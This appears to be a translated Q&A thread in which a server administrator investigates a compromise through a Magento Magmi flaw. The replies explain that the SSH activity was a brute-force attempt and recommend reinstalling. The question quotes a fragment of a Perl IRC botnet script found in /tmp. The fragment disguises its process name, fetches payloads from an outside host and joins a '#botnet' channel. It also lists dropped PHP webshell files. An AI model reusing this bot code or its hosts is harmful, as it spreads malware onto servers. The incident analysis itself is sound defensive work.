web-dev-qa-db-ja.com

サーバーがMagentoの脆弱性、ルートキットの可能性で侵害された

管理している1台のサーバーでセキュリティの問題が発生しています。関連するすべての事実をできるだけ簡潔に引用するように努めます。追加情報と取るべき行動方針を求めています。

サーバーは、いくつかの比較的少量のWebサイト、およびその他のマイナーなサービスもホストします。ほとんどのサイトはDrupalまたはJoomlaであり、私が知る限り更新されているようです。最近、Magentoサイトが一時的に追加されただけで、後で戻ってきます。

それはすべて、サーバーでの高い負荷平均、CPU使用率を観察することから始まりました。すぐに、これは高い応答時間に関連するようになりました。

Netstatを実行すると、オーストラリアのISPからの特定のIPからの異常で比較的多数の接続が明らかになりました。これらの接続のほとんどはApacheプロセスに関連しており、他の多くは相対的なpidなしでSYNステータスのままでした。

最初は、これはApacheに対するある種のフラッドだと思ったので、Apache confファイル（Deny from）からIPを禁止し、しばらくは機能しているように見えるすべての関連プロセスを強制終了することにしました。

すぐに、オランダのISPの別のIPからまったく同じ問題が発生したことに気付きました。私はすぐにmod_evasiveをインストールし、IPも禁止しました。これにより、問題が少し緩和されたようです（CPUが80％に低下）。

すぐに、サーバープロバイダーからサーバーが悪用されているという電子メールを受け取り、悪意のあるコードがないかサイトを調べるように促しました。すぐに私は次のことをしました（これまでのところ、これは進行中です）：

  • ps faux、netstatは疑わしいものは何も明らかにしませんでした
  • chkrootkit、rkhunter、同じ
  • 既知のIPと照合してApacheログファイルを調べたところ、magentoサイトの脆弱性を悪用しようとする試みがいくつか明らかになりました。
  • そのアカウントのウェブサイトを一時停止し、ファイルを削除しました。
  • apacheが書き込み権限を持っているすべてのディレクトリをさらに調査したところ、疑わしいファイルがいくつかあることが明らかになりました。
  • cPU使用率は0〜10％に低下しました。

疑わしいファイルは、かなり疑わしいものです。次のような特定のファイル/ tmp/askがありました。

#!/usr/bin/Perl
#
###############################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
#                                                               
#                                 
###############################################


use IO::Socket::INET;
#use HTTP::Request;
#use LWP::UserAgent;
##################################################
# Im not living im just killing time
#       
#                                                               
# radiohead ganja ipays the beatles
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/Apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]"); 
$processo = $ps[Rand scalar @ps]; 
my $linas_max='2';
my $sleep='3';
my $cmd="im.not.living.im.just.killing.time";
my $id="http://www.utama-audio.com/ipays/allnet/id.txt?";
my $spread="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my $spreads="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my @adms=("AR_GA");
my @canais="#botnet";
# etc etc

/tmp/.X11-unixという名前の別のディレクトリがありましたが、サーバーにxがないため、もちろん不規則です。 dirには、次のファイルがあります。

tmp/.X11-unix/
tmp/.X11-unix/dorks.txt
tmp/.X11-unix/ipays2.php
tmp/.X11-unix/malink.php
tmp/.X11-unix/act.Zip
tmp/.X11-unix/inc.Zip
tmp/.X11-unix/ipays.phtml
tmp/.X11-unix/ipays.php
tmp/.X11-unix/ipays3.php
tmp/.X11-unix/ext.Zip
tmp/.X11-unix/ipays.gif

結局のところ、netstat、ps、実行可能ファイルの改ざん、debsum、chkrootkit、rkhunterに関する他の調査はすべて否定的です。

この非常に奇妙な観察とは別に（レギットの詳細はxxxに置き換えられました）：

wtower@xxx~$ Sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:49460      ESTABLISHED 3382/sshd: root [pr
tcp        0     48 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ Sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0    848 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: [accepte
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd       
wtower@xxx:~$ Sudo netstat -natp | grep sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      6680/sshd       
tcp        0      0 xx.xxx.xx.xxx:22        43.229.52.15:39686      ESTABLISHED 3390/sshd: root [pr
tcp        0      0 xx.xxx.xx.xxx:22        x.xx.xx.xx:44319        ESTABLISHED 7441/sshd: wtower [
tcp6       0      0 :::22                   :::*                    LISTEN      6680/sshd

43.229.52.15（日本）からのルートとしてのssh接続は、ルートとしてのpidを絶えず変更していることがわかります。 wは何も表示しません。私はとても困惑し、妥協しています。

上記のすべてが接続されていない可能性がありますが、私は手がかりを得ませんでした。どんな助けでも大歓迎です。

webserversshvulnerabilityrootkits
2
Wtower

すべてのサポートに感謝します。これらは徹底的な調査の後の私の発見です：

/tmpにある両方のスクリプトの所有権はApacheユーザーです。 /tmpディレクトリはApacheによって書き込み可能です。作成日を関連するログと比較したところ、Apacheログでそれらがシステムにどのように入力されたかがわかりました。 magento magmiの脆弱性 を3回悪用したことが判明しました。

スクリプトとは別に、3回目は、フィッシングの試みに使用されたいくつかのページを追加することでした。これが最大のボリュームの源です。

それ以上のアカウントの露出の兆候はまったく見つかりませんでした。パーミッションは非常に厳格であり、Apacheが他の場所に書き込むことができると私が知る限り、他の方法はありません。 Webサイトを削除するとすぐに、すべてが正常に戻りました。

netstatの問題に関しては、これはまったく別の問題です。そもそもauth.logをよく調べなかったのは私の間違いでした。 PasswordAuthenticationはおそらく他の操作によってオンのままになっていることが判明し、これによりルートに対するブルートフォース攻撃が発生しました。繰り返される再生成は、パスワードを試すための確立された接続でしたが、確立されたセッションはありませんでした。 PermitRootLoginがオフになっていて、rootアカウントがロックされているため、リスクは軽減されました。

これらは、Ubuntuフォーラムの2つの関連スレッドからのリンクです： スクリプトについて および sshアクティビティについて 。

2
Wtower

アクションのコースは、マシンをワイプし、保存されたイメージから、または最初からすべてをインストールすることです。あなたがそれらをきれいにしたと確信するのはとても難しいです。特に攻撃者がrootアクセスを取得すると。

2
Neil Smithline